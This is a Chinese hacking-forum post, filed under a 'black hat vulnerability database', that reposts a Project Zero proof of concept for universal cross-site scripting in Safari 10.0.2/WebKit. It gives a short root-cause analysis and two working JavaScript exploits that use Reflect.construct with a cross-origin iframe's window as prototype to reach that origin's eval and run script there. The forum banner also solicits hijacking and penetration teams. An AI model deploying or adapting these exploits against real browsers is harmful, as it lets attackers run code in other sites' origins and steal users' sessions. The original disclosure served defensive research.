跳转到帖子
诚邀seo站长，短信，劫持，渗透，代理，推广团队，博主，主播，各种资源流量大佬合作共赢【站外广告】

游客您好，欢迎来到黑客世界论坛！您可以在这里进行注册。

赤队小组-代号1949（原CHT攻防小组）在这个瞬息万变的网络时代，我们保持初心，创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识，您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告，请注册用户查看我们的使用与隐私策略，谢谢您的配合。小组成员可以获取论坛隐藏内容！

TheHackerWorld官方

Apple WebKit / Safari 10.0.2(12602.3.12.0.1) - 'PrototypeMap::createEmptyStructure' Universal Cross-Site Scripting

HACK1949
HACK1949
在 黑帽漏洞数据库

精选回复

发布于 
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1084

When creating an object in Javascript, its |Structure| is created with the constructor's prototype's |VM|.

Here's some snippets of that routine.

Structure* InternalFunction::createSubclassStructure(ExecState* exec, JSValue newTarget, Structure* baseClass)
{
    ...
    if (newTarget && newTarget != exec->jsCallee()) {
        // newTarget may be an InternalFunction if we were called from Reflect.construct.
        JSFunction* targetFunction = jsDynamicCast<JSFunction*>(newTarget);

        if (LIKELY(targetFunction)) {
            ...
                return targetFunction->rareData(vm)->createInternalFunctionAllocationStructureFromBase(vm, prototype, baseClass);
            ...
        } else {
            ...
                return vm.prototypeMap.emptyStructureForPrototypeFromBaseStructure(prototype, baseClass);
            ...
        }
    }
    
    return baseClass;
}

inline Structure* PrototypeMap::createEmptyStructure(JSObject* prototype, const TypeInfo& typeInfo, const ClassInfo* classInfo, IndexingType indexingType, unsigned inlineCapacity)
{
    ...
    Structure* structure = Structure::create(
        prototype->globalObject()->vm(), prototype->globalObject(), prototype, typeInfo, classInfo, indexingType, inlineCapacity);
    m_structures.set(key, Weak<Structure>(structure));
    ...
}

As we can see |Structure::create| is called with prototype's |vm| and |globalObject| as arguments. So it could lead to an UXSS condition.

Tested on Safari 10.0.2(12602.3.12.0.1) and Webkit Nightly 10.0.2(12602.3.12.0.1, r210800).

More simple way:
    let f = document.body.appendChild(document.createElement('iframe'));
    f.onload = () => {
        f.onload = null;

        let g = function () {};
        g.prototype = f.contentWindow;

        let a = Reflect.construct(Function, ['return window[0].eval;'], g);
        let e = a();
        e('alert(location)');
    };

    f.src = 'https://abc.xyz/';
-->

<body>
<script>

/*

When creating an object in Javascript, its |Structure| is created with the constructor's prototype's |VM|.

Here's some snippets of that routine.

Structure* InternalFunction::createSubclassStructure(ExecState* exec, JSValue newTarget, Structure* baseClass)
{
    ...
    if (newTarget && newTarget != exec->jsCallee()) {
        // newTarget may be an InternalFunction if we were called from Reflect.construct.
        JSFunction* targetFunction = jsDynamicCast<JSFunction*>(newTarget);

        if (LIKELY(targetFunction)) {
            ...
                return targetFunction->rareData(vm)->createInternalFunctionAllocationStructureFromBase(vm, prototype, baseClass);
            ...
        } else {
            ...
                return vm.prototypeMap.emptyStructureForPrototypeFromBaseStructure(prototype, baseClass);
            ...
        }
    }
    
    return baseClass;
}

inline Structure* PrototypeMap::createEmptyStructure(JSObject* prototype, const TypeInfo& typeInfo, const ClassInfo* classInfo, IndexingType indexingType, unsigned inlineCapacity)
{
    ...
    Structure* structure = Structure::create(
        prototype->globalObject()->vm(), prototype->globalObject(), prototype, typeInfo, classInfo, indexingType, inlineCapacity);
    m_structures.set(key, Weak<Structure>(structure));
    ...
}

As we can see |Structure::create| is called with prototype's |vm| and |globalObject| as arguments. So it could lead to an UXSS condition.

Tested on Safari 10.0.2(12602.3.12.0.1) and Webkit Nightly 10.0.2(12602.3.12.0.1, r210800).

*/

'use strict';

function main() {
    let f = document.body.appendChild(document.createElement('iframe'));
    f.onload = () => {
        f.onload = null;

        let g = function () {};
        g.prototype = f.contentWindow;

        let a = Reflect.construct(Intl.NumberFormat, [], g);
        Intl.NumberFormat.prototype.__lookupGetter__("format").call(a).constructor('alert(location)')();
    };

    f.src = 'https://abc.xyz/';
}

main();

</script>
</body>

创建帐户或登录后发表意见

转到主题列表

最近浏览 0

  • 没有会员查看此页面。